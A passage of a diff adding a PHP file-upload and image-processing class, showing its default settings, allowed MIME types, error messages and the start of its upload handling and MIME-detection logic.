public + * @var array OR string + */ + var $forbidden; + + /** + * Array of translated error messages + * + * By default, the language is english (en_GB) + * Translations can be in separate files, in a lang/ subdirectory + * + * @access public + * @var array + */ + var $translation; + + /** + * Language selected for the translations + * + * By default, the language is english ("en_GB") + * + * @access public + * @var array + */ + var $lang; + + /** + * Init or re-init all the processing variables to their default values + * + * This function is called in the constructor, and after each call of {@link process} + * + * @access private + */ + function init() { + + // overiddable variables + $this->file_new_name_body = null; // replace the name body + $this->file_name_body_add = null; // append to the name body + $this->file_name_body_pre = null; // prepend to the name body + $this->file_new_name_ext = null; // replace the file extension + $this->file_safe_name = true; // format safely the filename + $this->file_force_extension = true; // forces extension if there isn't one + $this->file_overwrite = false; // allows overwritting if the file already exists + $this->file_auto_rename = true; // auto-rename if the file already exists + $this->dir_auto_create = true; // auto-creates directory if missing + $this->dir_auto_chmod = true; // auto-chmod directory if not writeable + $this->dir_chmod = 0777; // default chmod to use + + $this->no_script = true; // turns scripts into test files + $this->mime_check = true; // checks the mime type against the allowed list + + // these are the different MIME detection methods. if one of these method doesn't work on your + // system, you can deactivate it here; just set it to false + $this->mime_fileinfo = true; // MIME detection with Fileinfo PECL extension + $this->mime_file = true; // MIME detection with UNIX file() command + $this->mime_magic = true; // MIME detection with mime_magic (mime_content_type()) + $this->mime_getimagesize = true; // MIME detection with getimagesize() + + // get the default max size from php.ini + $this->file_max_size_raw = trim(ini_get('upload_max_filesize')); + $this->file_max_size = $this->getsize($this->file_max_size_raw); + + $this->image_resize = false; // resize the image + $this->image_convert = ''; // convert. values :''; 'png'; 'jpeg'; 'gif'; 'bmp' + + $this->image_x = 150; + $this->image_y = 150; + $this->image_ratio = false; // keeps aspect ratio with x and y dimensions + $this->image_ratio_crop = false; // keeps aspect ratio with x and y dimensions, filling the space + $this->image_ratio_fill = false; // keeps aspect ratio with x and y dimensions, fitting the image in the space, and coloring the rest + $this->image_ratio_pixels = false; // keeps aspect ratio, calculating x and y so that the image is approx the set number of pixels + $this->image_ratio_x = false; // calculate the $image_x if true + $this->image_ratio_y = false; // calculate the $image_y if true + $this->image_ratio_no_zoom_in = false; + $this->image_ratio_no_zoom_out = false; + $this->image_no_enlarging = false; + $this->image_no_shrinking = false; + + $this->png_compression = null; + $this->jpeg_quality = 85; + $this->jpeg_size = null; + $this->image_interlace = false; + $this->image_is_transparent = false; + $this->image_transparent_color = null; + $this->image_background_color = null; + $this->image_default_color = '#ffffff'; + $this->image_is_palette = false; + + $this->image_max_width = null; + $this->image_max_height = null; + $this->image_max_pixels = null; + $this->image_max_ratio = null; + $this->image_min_width = null; + $this->image_min_height = null; + $this->image_min_pixels = null; + $this->image_min_ratio = null; + + $this->image_brightness = null; + $this->image_contrast = null; + $this->image_opacity = null; + $this->image_threshold = null; + $this->image_tint_color = null; + $this->image_overlay_color = null; + $this->image_overlay_opacity = null; + $this->image_negative = false; + $this->image_greyscale = false; + $this->image_pixelate = null; + $this->image_unsharp = false; + $this->image_unsharp_amount = 80; + $this->image_unsharp_radius = 0.5; + $this->image_unsharp_threshold = 1; + + $this->image_text = null; + $this->image_text_direction = null; + $this->image_text_color = '#FFFFFF'; + $this->image_text_opacity = 100; + $this->image_text_background = null; + $this->image_text_background_opacity = 100; + $this->image_text_font = 5; + $this->image_text_size = 16; + $this->image_text_angle = null; + $this->image_text_x = null; + $this->image_text_y = null; + $this->image_text_position = null; + $this->image_text_padding = 0; + $this->image_text_padding_x = null; + $this->image_text_padding_y = null; + $this->image_text_alignment = 'C'; + $this->image_text_line_spacing = 0; + + $this->image_reflection_height = null; + $this->image_reflection_space = 2; + $this->image_reflection_opacity = 60; + + $this->image_watermark = null; + $this->image_watermark_x = null; + $this->image_watermark_y = null; + $this->image_watermark_position = null; + $this->image_watermark_no_zoom_in = true; + $this->image_watermark_no_zoom_out = false; + + $this->image_flip = null; + $this->image_auto_rotate = true; + $this->image_rotate = null; + $this->image_crop = null; + $this->image_precrop = null; + + $this->image_bevel = null; + $this->image_bevel_color1 = '#FFFFFF'; + $this->image_bevel_color2 = '#000000'; + $this->image_border = null; + $this->image_border_color = '#FFFFFF'; + $this->image_border_opacity = 100; + $this->image_border_transparent = null; + $this->image_frame = null; + $this->image_frame_colors = '#FFFFFF #999999 #666666 #000000'; + $this->image_frame_opacity = 100; + + $this->forbidden = array(); + $this->allowed = array( + 'application/arj', + 'application/excel', + 'application/gnutar', + 'application/mspowerpoint', + 'application/msword', + 'application/octet-stream', + 'application/onenote', + 'application/pdf', + 'application/plain', + 'application/postscript', + 'application/powerpoint', + 'application/rar', + 'application/rtf', + 'application/vnd.ms-excel', + 'application/vnd.ms-excel.addin.macroEnabled.12', + 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', + 'application/vnd.ms-excel.sheet.macroEnabled.12', + 'application/vnd.ms-excel.template.macroEnabled.12', + 'application/vnd.ms-office', + 'application/vnd.ms-officetheme', + 'application/vnd.ms-powerpoint', + 'application/vnd.ms-powerpoint.addin.macroEnabled.12', + 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', + 'application/vnd.ms-powerpoint.slide.macroEnabled.12', + 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', + 'application/vnd.ms-powerpoint.template.macroEnabled.12', + 'application/vnd.ms-word', + 'application/vnd.ms-word.document.macroEnabled.12', + 'application/vnd.ms-word.template.macroEnabled.12', + 'application/vnd.oasis.opendocument.chart', + 'application/vnd.oasis.opendocument.database', + 'application/vnd.oasis.opendocument.formula', + 'application/vnd.oasis.opendocument.graphics', + 'application/vnd.oasis.opendocument.graphics-template', + 'application/vnd.oasis.opendocument.image', + 'application/vnd.oasis.opendocument.presentation', + 'application/vnd.oasis.opendocument.presentation-template', + 'application/vnd.oasis.opendocument.spreadsheet', + 'application/vnd.oasis.opendocument.spreadsheet-template', + 'application/vnd.oasis.opendocument.text', + 'application/vnd.oasis.opendocument.text-master', + 'application/vnd.oasis.opendocument.text-template', + 'application/vnd.oasis.opendocument.text-web', + 'application/vnd.openofficeorg.extension', + 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'application/vnd.openxmlformats-officedocument.presentationml.slide', + 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', + 'application/vnd.openxmlformats-officedocument.presentationml.template', + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', + 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', + 'application/vocaltec-media-file', + 'application/wordperfect', + 'application/x-bittorrent', + 'application/x-bzip', + 'application/x-bzip2', + 'application/x-compressed', + 'application/x-excel', + 'application/x-gzip', + 'application/x-latex', + 'application/x-midi', + 'application/xml', + 'application/x-msexcel', + 'application/x-rar', + 'application/x-rar-compressed', + 'application/x-rtf', + 'application/x-shockwave-flash', + 'application/x-sit', + 'application/x-stuffit', + 'application/x-troff-msvideo', + 'application/x-zip', + 'application/x-zip-compressed', + 'application/zip', + 'audio/*', + 'image/*', + 'multipart/x-gzip', + 'multipart/x-zip', + 'text/plain', + 'text/rtf', + 'text/richtext', + 'text/xml', + 'video/*', + 'text/csv' + ); + + $this->mime_types = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'jpe' => 'image/jpeg', + 'gif' => 'image/gif', + 'png' => 'image/png', + 'bmp' => 'image/bmp', + 'flv' => 'video/x-flv', + 'js' => 'application/x-javascript', + 'json' => 'application/json', + 'tiff' => 'image/tiff', + 'css' => 'text/css', + 'xml' => 'application/xml', + 'doc' => 'application/msword', + 'xls' => 'application/vnd.ms-excel', + 'xlt' => 'application/vnd.ms-excel', + 'xlm' => 'application/vnd.ms-excel', + 'xld' => 'application/vnd.ms-excel', + 'xla' => 'application/vnd.ms-excel', + 'xlc' => 'application/vnd.ms-excel', + 'xlw' => 'application/vnd.ms-excel', + 'xll' => 'application/vnd.ms-excel', + 'ppt' => 'application/vnd.ms-powerpoint', + 'pps' => 'application/vnd.ms-powerpoint', + 'rtf' => 'application/rtf', + 'pdf' => 'application/pdf', + 'html' => 'text/html', + 'htm' => 'text/html', + 'php' => 'text/html', + 'txt' => 'text/plain', + 'mpeg' => 'video/mpeg', + 'mpg' => 'video/mpeg', + 'mpe' => 'video/mpeg', + 'mp3' => 'audio/mpeg3', + 'wav' => 'audio/wav', + 'aiff' => 'audio/aiff', + 'aif' => 'audio/aiff', + 'avi' => 'video/msvideo', + 'wmv' => 'video/x-ms-wmv', + 'mov' => 'video/quicktime', + 'zip' => 'application/zip', + 'tar' => 'application/x-tar', + 'swf' => 'application/x-shockwave-flash', + 'odt' => 'application/vnd.oasis.opendocument.text', + 'ott' => 'application/vnd.oasis.opendocument.text-template', + 'oth' => 'application/vnd.oasis.opendocument.text-web', + 'odm' => 'application/vnd.oasis.opendocument.text-master', + 'odg' => 'application/vnd.oasis.opendocument.graphics', + 'otg' => 'application/vnd.oasis.opendocument.graphics-template', + 'odp' => 'application/vnd.oasis.opendocument.presentation', + 'otp' => 'application/vnd.oasis.opendocument.presentation-template', + 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', + 'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template', + 'odc' => 'application/vnd.oasis.opendocument.chart', + 'odf' => 'application/vnd.oasis.opendocument.formula', + 'odb' => 'application/vnd.oasis.opendocument.database', + 'odi' => 'application/vnd.oasis.opendocument.image', + 'oxt' => 'application/vnd.openofficeorg.extension', + 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', + 'docm' => 'application/vnd.ms-word.document.macroEnabled.12', + 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', + 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', + 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', + 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', + 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', + 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', + 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', + 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', + 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', + 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', + 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', + 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', + 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12', + 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', + 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', + 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12', + 'thmx' => 'application/vnd.ms-officetheme', + 'onetoc' => 'application/onenote', + 'onetoc2' => 'application/onenote', + 'onetmp' => 'application/onenote', + 'onepkg' => 'application/onenote', + 'csv' => 'text/csv', + ); + + } + + /** + * Constructor, for PHP5+ + */ + function __construct($file, $lang = 'en_GB') { + $this->upload($file, $lang); + } + + /** + * Constructor, for PHP4. Checks if the file has been uploaded + * + * The constructor takes $_FILES['form_field'] array as argument + * where form_field is the form field name + * + * The constructor will check if the file has been uploaded in its temporary location, and + * accordingly will set {@link uploaded} (and {@link error} is an error occurred) + * + * If the file has been uploaded, the constructor will populate all the variables holding the upload + * information (none of the processing class variables are used here). + * You can have access to information about the file (name, size, MIME type...). + * + * + * Alternatively, you can set the first argument to be a local filename (string) + * This allows processing of a local file, as if the file was uploaded + * + * The optional second argument allows you to set the language for the error messages + * + * @access private + * @param array $file $_FILES['form_field'] + * or string $file Local filename + * @param string $lang Optional language code + */ + function upload($file, $lang = 'en_GB') { + + $this->version = '0.34dev'; + + $this->file_src_name = ''; + $this->file_src_name_body = ''; + $this->file_src_name_ext = ''; + $this->file_src_mime = ''; + $this->file_src_size = ''; + $this->file_src_error = ''; + $this->file_src_pathname = ''; + $this->file_src_temp = ''; + + $this->file_dst_path = ''; + $this->file_dst_name = ''; + $this->file_dst_name_body = ''; + $this->file_dst_name_ext = ''; + $this->file_dst_pathname = ''; + + $this->image_src_x = null; + $this->image_src_y = null; + $this->image_src_bits = null; + $this->image_src_type = null; + $this->image_src_pixels = null; + $this->image_dst_x = 0; + $this->image_dst_y = 0; + $this->image_dst_type = ''; + + $this->uploaded = true; + $this->no_upload_check = false; + $this->processed = true; + $this->error = ''; + $this->log = ''; + $this->allowed = array(); + $this->forbidden = array(); + $this->file_is_image = false; + $this->init(); + $info = null; + $mime_from_browser = null; + + // sets default language + $this->translation = array(); + $this->translation['file_error'] = 'File error. Please try again.'; + $this->translation['local_file_missing'] = 'Local file doesn\'t exist.'; + $this->translation['local_file_not_readable'] = 'Local file is not readable.'; + $this->translation['uploaded_too_big_ini'] = 'File upload error (the uploaded file exceeds the upload_max_filesize directive in php.ini).'; + $this->translation['uploaded_too_big_html'] = 'File upload error (the uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the html form).'; + $this->translation['uploaded_partial'] = 'File upload error (the uploaded file was only partially uploaded).'; + $this->translation['uploaded_missing'] = 'File upload error (no file was uploaded).'; + $this->translation['uploaded_no_tmp_dir'] = 'File upload error (missing a temporary folder).'; + $this->translation['uploaded_cant_write'] = 'File upload error (failed to write file to disk).'; + $this->translation['uploaded_err_extension'] = 'File upload error (file upload stopped by extension).'; + $this->translation['uploaded_unknown'] = 'File upload error (unknown error code).'; + $this->translation['try_again'] = 'File upload error. Please try again.'; + $this->translation['file_too_big'] = 'File too big.'; + $this->translation['no_mime'] = 'MIME type can\'t be detected.'; + $this->translation['incorrect_file'] = 'Incorrect type of file.'; + $this->translation['image_too_wide'] = 'Image too wide.'; + $this->translation['image_too_narrow'] = 'Image too narrow.'; + $this->translation['image_too_high'] = 'Image too tall.'; + $this->translation['image_too_short'] = 'Image too short.'; + $this->translation['ratio_too_high'] = 'Image ratio too high (image too wide).'; + $this->translation['ratio_too_low'] = 'Image ratio too low (image too high).'; + $this->translation['too_many_pixels'] = 'Image has too many pixels.'; + $this->translation['not_enough_pixels'] = 'Image has not enough pixels.'; + $this->translation['file_not_uploaded'] = 'File not uploaded. Can\'t carry on a process.'; + $this->translation['already_exists'] = '%s already exists. Please change the file name.'; + $this->translation['temp_file_missing'] = 'No correct temp source file. Can\'t carry on a process.'; + $this->translation['source_missing'] = 'No correct uploaded source file. Can\'t carry on a process.'; + $this->translation['destination_dir'] = 'Destination directory can\'t be created. Can\'t carry on a process.'; + $this->translation['destination_dir_missing'] = 'Destination directory doesn\'t exist. Can\'t carry on a process.'; + $this->translation['destination_path_not_dir'] = 'Destination path is not a directory. Can\'t carry on a process.'; + $this->translation['destination_dir_write'] = 'Destination directory can\'t be made writeable. Can\'t carry on a process.'; + $this->translation['destination_path_write'] = 'Destination path is not a writeable. Can\'t carry on a process.'; + $this->translation['temp_file'] = 'Can\'t create the temporary file. Can\'t carry on a process.'; + $this->translation['source_not_readable'] = 'Source file is not readable. Can\'t carry on a process.'; + $this->translation['no_create_support'] = 'No create from %s support.'; + $this->translation['create_error'] = 'Error in creating %s image from source.'; + $this->translation['source_invalid'] = 'Can\'t read image source. Not an image?.'; + $this->translation['gd_missing'] = 'GD doesn\'t seem to be present.'; + $this->translation['watermark_no_create_support'] = 'No create from %s support, can\'t read watermark.'; + $this->translation['watermark_create_error'] = 'No %s read support, can\'t create watermark.'; + $this->translation['watermark_invalid'] = 'Unknown image format, can\'t read watermark.'; + $this->translation['file_create'] = 'No %s create support.'; + $this->translation['no_conversion_type'] = 'No conversion type defined.'; + $this->translation['copy_failed'] = 'Error copying file on the server. copy() failed.'; + $this->translation['reading_failed'] = 'Error reading the file.'; + + // determines the language + $this->lang = $lang; + if ($this->lang != 'en_GB' && file_exists(dirname(__FILE__).'/lang') && file_exists(dirname(__FILE__).'/lang/class.upload.' . $lang . '.php')) { + $translation = null; + include(dirname(__FILE__).'/lang/class.upload.' . $lang . '.php'); + if (is_array($translation)) { + $this->translation = array_merge($this->translation, $translation); + } else { + $this->lang = 'en_GB'; + } + } + + + // determines the supported MIME types, and matching image format + $this->image_supported = array(); + if ($this->gdversion()) { + if (imagetypes() & IMG_GIF) { + $this->image_supported['image/gif'] = 'gif'; + } + if (imagetypes() & IMG_JPG) { + $this->image_supported['image/jpg'] = 'jpg'; + $this->image_supported['image/jpeg'] = 'jpg'; + $this->image_supported['image/pjpeg'] = 'jpg'; + } + if (imagetypes() & IMG_PNG) { + $this->image_supported['image/png'] = 'png'; + $this->image_supported['image/x-png'] = 'png'; + } + if (imagetypes() & IMG_WBMP) { + $this->image_supported['image/bmp'] = 'bmp'; + $this->image_supported['image/x-ms-bmp'] = 'bmp'; + $this->image_supported['image/x-windows-bmp'] = 'bmp'; + } + } + + // display some system information + if (empty($this->log)) { + $this->log .= 'system information
    '; + if ($this->function_enabled('ini_get_all')) { + $inis = ini_get_all(); + $open_basedir = (array_key_exists('open_basedir', $inis) && array_key_exists('local_value', $inis['open_basedir']) && !empty($inis['open_basedir']['local_value'])) ? $inis['open_basedir']['local_value'] : false; + } else { + $open_basedir = false; + } + $gd = $this->gdversion() ? $this->gdversion(true) : 'GD not present'; + $supported = trim((in_array('png', $this->image_supported) ? 'png' : '') . ' ' . (in_array('jpg', $this->image_supported) ? 'jpg' : '') . ' ' . (in_array('gif', $this->image_supported) ? 'gif' : '') . ' ' . (in_array('bmp', $this->image_supported) ? 'bmp' : '')); + $this->log .= '- class version : ' . $this->version . '
    '; + $this->log .= '- operating system : ' . PHP_OS . '
    '; + $this->log .= '- PHP version : ' . PHP_VERSION . '
    '; + $this->log .= '- GD version : ' . $gd . '
    '; + $this->log .= '- supported image types : ' . (!empty($supported) ? $supported : 'none') . '
    '; + $this->log .= '- open_basedir : ' . (!empty($open_basedir) ? $open_basedir : 'no restriction') . '
    '; + $this->log .= '- upload_max_filesize : ' . $this->file_max_size_raw . ' (' . $this->file_max_size . ' bytes)
    '; + $this->log .= '- language : ' . $this->lang . '
    '; + } + + if (!$file) { + $this->uploaded = false; + $this->error = $this->translate('file_error'); + } + + // check if we sent a local filename or a PHP stream rather than a $_FILE element + if (!is_array($file)) { + if (empty($file)) { + $this->uploaded = false; + $this->error = $this->translate('file_error'); + } else { + if (substr($file, 0, 4) == 'php:' || substr($file, 0, 5) == 'data:' || substr($file, 0, 7) == 'base64:') { + $data = null; + + // this is a PHP stream, i.e.not uploaded + if (substr($file, 0, 4) == 'php:') { + $file = preg_replace('/^php:(.*)/i', '$1', $file); + if (!$file) $file = $_SERVER['HTTP_X_FILE_NAME']; + if (!$file) $file = 'unknown'; + $data = file_get_contents('php://input'); + $this->log .= 'source is a PHP stream ' . $file . ' of length ' . strlen($data) . '
    '; + + // this is the raw file data, i.e.not uploaded + } else if (substr($file, 0, 5) == 'data:') { + $data = preg_replace('/^data:(.*)/i', '$1', $file); + $file = 'data'; + $this->log .= 'source is a data string of length ' . strlen($data) . '
    '; + + // this is the raw file data, base64-encoded, i.e.not uploaded + } else if (substr($file, 0, 7) == 'base64:') { + $data = base64_decode(preg_replace('/^base64:(.*)/i', '$1', $file)); + $file = 'base64'; + $this->log .= 'source is a base64 data string of length ' . strlen($data) . '
    '; + } + + $this->no_upload_check = TRUE; + $this->log .= '- requires a temp file ... '; + $hash = $this->temp_dir() . md5($file . rand(1, 1000)); + if ($data && file_put_contents($hash, $data)) { + $this->file_src_pathname = $hash; + $this->log .= ' file created
    '; + $this->log .= '    temp file is: ' . $this->file_src_pathname . '
    '; + } else { + $this->log .= ' failed
    '; + $this->uploaded = false; + $this->error = $this->translate('temp_file'); + } + + if ($this->uploaded) { + $this->file_src_name = $file; + $this->log .= '- local file OK
    '; + preg_match('/\.([^\.]*$)/', $this->file_src_name, $extension); + if (is_array($extension) && sizeof($extension) > 0) { + $this->file_src_name_ext = strtolower($extension[1]); + $this->file_src_name_body = substr($this->file_src_name, 0, ((strlen($this->file_src_name) - strlen($this->file_src_name_ext)))-1); + } else { + $this->file_src_name_ext = ''; + $this->file_src_name_body = $this->file_src_name; + } + $this->file_src_size = (file_exists($this->file_src_pathname) ? filesize($this->file_src_pathname) : 0); + } + $this->file_src_error = 0; + + } else { + // this is a local filename, i.e.not uploaded + $this->log .= 'source is a local file ' . $file . '
    '; + $this->no_upload_check = TRUE; + + if ($this->uploaded && !file_exists($file)) { + $this->uploaded = false; + $this->error = $this->translate('local_file_missing'); + } + + if ($this->uploaded && !is_readable($file)) { + $this->uploaded = false; + $this->error = $this->translate('local_file_not_readable'); + } + + if ($this->uploaded) { + $this->file_src_pathname = $file; + $this->file_src_name = basename($file); + $this->log .= '- local file OK
    '; + preg_match('/\.([^\.]*$)/', $this->file_src_name, $extension); + if (is_array($extension) && sizeof($extension) > 0) { + $this->file_src_name_ext = strtolower($extension[1]); + $this->file_src_name_body = substr($this->file_src_name, 0, ((strlen($this->file_src_name) - strlen($this->file_src_name_ext)))-1); + } else { + $this->file_src_name_ext = ''; + $this->file_src_name_body = $this->file_src_name; + } + $this->file_src_size = (file_exists($this->file_src_pathname) ? filesize($this->file_src_pathname) : 0); + } + $this->file_src_error = 0; + } + } + } else { + // this is an element from $_FILE, i.e. an uploaded file + $this->log .= 'source is an uploaded file
    '; + if ($this->uploaded) { + $this->file_src_error = trim($file['error']); + switch($this->file_src_error) { + case UPLOAD_ERR_OK: + // all is OK + $this->log .= '- upload OK
    '; + break; + case UPLOAD_ERR_INI_SIZE: + $this->uploaded = false; + $this->error = $this->translate('uploaded_too_big_ini'); + break; + case UPLOAD_ERR_FORM_SIZE: + $this->uploaded = false; + $this->error = $this->translate('uploaded_too_big_html'); + break; + case UPLOAD_ERR_PARTIAL: + $this->uploaded = false; + $this->error = $this->translate('uploaded_partial'); + break; + case UPLOAD_ERR_NO_FILE: + $this->uploaded = false; + $this->error = $this->translate('uploaded_missing'); + break; + case @UPLOAD_ERR_NO_TMP_DIR: + $this->uploaded = false; + $this->error = $this->translate('uploaded_no_tmp_dir'); + break; + case @UPLOAD_ERR_CANT_WRITE: + $this->uploaded = false; + $this->error = $this->translate('uploaded_cant_write'); + break; + case @UPLOAD_ERR_EXTENSION: + $this->uploaded = false; + $this->error = $this->translate('uploaded_err_extension'); + break; + default: + $this->uploaded = false; + $this->error = $this->translate('uploaded_unknown') . ' ('.$this->file_src_error.')'; + } + } + + if ($this->uploaded) { + $this->file_src_pathname = $file['tmp_name']; + $this->file_src_name = $file['name']; + if ($this->file_src_name == '') { + $this->uploaded = false; + $this->error = $this->translate('try_again'); + } + } + + if ($this->uploaded) { + $this->log .= '- file name OK
    '; + preg_match('/\.([^\.]*$)/', $this->file_src_name, $extension); + if (is_array($extension) && sizeof($extension) > 0) { + $this->file_src_name_ext = strtolower($extension[1]); + $this->file_src_name_body = substr($this->file_src_name, 0, ((strlen($this->file_src_name) - strlen($this->file_src_name_ext)))-1); + } else { + $this->file_src_name_ext = ''; + $this->file_src_name_body = $this->file_src_name; + } + $this->file_src_size = $file['size']; + $mime_from_browser = $file['type']; + } + } + + if ($this->uploaded) { + $this->log .= 'determining MIME type
    '; + $this->file_src_mime = null; + + // checks MIME type with Fileinfo PECL extension + if (!$this->file_src_mime || !is_string($this->file_src_mime) || empty($this->file_src_mime) || strpos($this->file_src_mime, '/') === FALSE) { + if ($this->mime_fileinfo) { + $this->log .= '- Checking MIME type with Fileinfo PECL extension
    '; + if ($this->function_enabled('finfo_open')) { + $path = null; + if ($this->mime_fileinfo !== '') { + if ($this->mime_fileinfo === true) { + if (getenv('MAGIC') === FALSE) { + if (substr(PHP_OS, 0, 3) == 'WIN') { + $path = realpath(ini_get('extension_dir') . '/../') . '/extras/magic'; + $this->log .= '    MAGIC path defaults to ' . $path . '
    '; + } + } else { + $path = getenv('MAGIC'); + $this->log .= '    MAGIC path is set to ' . $path . ' from MAGIC variable
    '; + } + } else { + $path = $this->mime_fileinfo; + $this->log .= '    MAGIC path is set to ' . $path . '
    '; + } + } + if ($path) { + $f = @finfo_open(FILEINFO_MIME, $path); + } else { + $this->log .= '    MAGIC path will not be used
    '; + $f = @finfo_open(FILEINFO_MIME); + } + if (is_resource($f)) { + $mime = finfo_file($f, realpath($this->file_src_pathname)); + finfo_close($f); + $this->file_src_mime = $mime; + $this->log .= '    MIME type detected as ' . $this->file_src_mime . ' by Fileinfo PECL extension
    '; + if (preg_match("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", $this->file_src_mime)) { + $this->file_src_mime = preg_replace("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", '$1/$2', $this->file_src_mime); + $this->log .= '- MIME validated as ' . $this->file_src_mime . '
    '; + } else { + $this->file_src_mime = null; + } + } else { + $this->log .= '    Fileinfo PECL extension failed (finfo_open)
    '; + } + } elseif (@class_exists('finfo')) { + $f = new finfo( FILEINFO_MIME ); + if ($f) { + $this->file_src_mime = $f->file(realpath($this->file_src_pathname)); + $this->log .= '- MIME type detected as ' . $this->file_src_mime . ' by Fileinfo PECL extension
    '; + if (preg_match("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", $this->file_src_mime)) { + $this->file_src_mime = preg_replace("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", '$1/$2', $this->file_src_mime); + $this->log .= '- MIME validated as ' . $this->file_src_mime . '
    '; + } else { + $this->file_src_mime = null; + } + } else { + $this->log .= '    Fileinfo PECL extension failed (finfo)
    '; + } + } else { + $this->log .= '    Fileinfo PECL extension not available
    '; + } + } else { + $this->log .= '- Fileinfo PECL extension deactivated
    '; + } + } + + // checks MIME type with shell if unix access is authorized + if (!$this->file_src_mime || !is_string($this->file_src_mime) || empty($this->file_src_mime) || strpos($this->file_src_mime, '/') === FALSE) { + if ($this->mime_file) { + $this->log .= '- Checking MIME type with UNIX file() command
    '; + if (substr(PHP_OS, 0, 3) != 'WIN') { + if ($this->function_enabled('exec') && $this->function_enabled('escapeshellarg')) { + if (strlen($mime = @exec("file -bi ".escapeshellarg($this->file_src_pathname))) != 0) { + $this->file_src_mime = trim($mime); + $this->log .= '    MIME type detected as ' . $this->file_src_mime . ' by UNIX file() command
    '; + if (preg_match("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", $this->file_src_mime)) { + $this->file_src_mime = preg_replace("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", '$1/$2', $this->file_src_mime); + $this->log .= '- MIME validated as ' . $this->file_src_mime . '
    '; + } else { + $this->file_src_mime = null; + } + } else { + $this->log .= '    UNIX file() command failed
    '; + } + } else { + $this->log .= '    PHP exec() function is disabled
    '; + } + } else { + $this->log .= '    UNIX file() command not availabled
    '; + } + } else { + $this->log .= '- UNIX file() command is deactivated
    '; + } + } + + // checks MIME type with mime_magic + if (!$this->file_src_mime || !is_string($this->file_src_mime) || empty($this->file_src_mime) || strpos($this->file_src_mime, '/') === FALSE) { + if ($this->mime_magic) { + $this->log .= '- Checking MIME type with mime.magic file (mime_content_type())
    '; + if ($this->function_enabled('mime_content_type')) { + $this->file_src_mime = mime_content_type($this->file_src_pathname); + $this->log .= '    MIME type detected as ' . $this->file_src_mime . ' by mime_content_type()
    '; + if (preg_match("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", $this->file_src_mime)) { + $this->file_src_mime = preg_replace("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", '$1/$2', $this->file_src_mime); + $this->log .= '- MIME validated as ' . $this->file_src_mime . '
    '; + } else { + $this->file_src_mime = null; + } + } else { + $this->log .= '    mime_content_type() is not available
    '; + } + } else { + $this->log .= '- mime.magic file (mime_content_type()) is deactivated
    '; + } + } + + // checks MIME type with getimagesize() + if (!$this->file_src_mime || !is_string($this->file_src_mime) || empty($this->file_src_mime) || strpos($this->file_src_mime, '/') === FALSE) { + if ($this->mime_getimagesize) { + $this->log .= '- Checking MIME type with getimagesize()
    '; + $info = getimagesize($this->file_src_pathname); + if (is_array($info) && array_key_exists('mime', $info)) { + $this->file_src_mime = trim($info['mime']); + if (empty($this->file_src_mime)) { + $this->log .= '    MIME empty, guessing from type
    '; + $mime = (is_array($info) && array_key_exists(2, $info) ? $info[2] : null); // 1 = GIF, 2 = JPG, 3 = PNG + $this->file_src_mime = ($mime==IMAGETYPE_GIF ? 'image/gif' : ($mime==IMAGETYPE_JPEG ? 'image/jpeg' : ($mime==IMAGETYPE_PNG ? 'image/png' : ($mime==IMAGETYPE_BMP ? 'image/bmp' : null)))); + } + $this->log .= '    MIME type detected as ' . $this->file_src_mime . ' by PHP getimagesize() function
    '; + if (preg_match("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", $this->file_src_mime)) { + $this->file_src_mime = preg_replace("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", '$1/$2', $this->file_src_mime); + $this->log .= '- MIME validated as ' . $this->file_src_mime . '
    '; + } else { + $this->file_src_mime = null; + } + } else { + $this->log .= '    getimagesize() failed
    '; + } + } else { + $this->log .= '- getimagesize() is deactivated
    '; + } + } + + // default to MIME from browser (or Flash) + if (!empty($mime_from_browser) && !$this->file_src_mime || !is_string($this->file_src_mime) || empty($this->file_src_mime)) { + $this->file_src_mime =$mime_from_browser; + $this->log .= '- MIME type detected as ' . $this->file_src_mime . ' by browser
    '; + if (preg_match("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", $this->file_src_mime)) { + $this->file_src_mime = preg_replace("/^([\.\w-]+)\/([\.\w-]+)(.*)$/i", '$1/$2', $this->file_src_mime); + $this->log .= '- MIME validated as ' . $this->file_src_mime . '
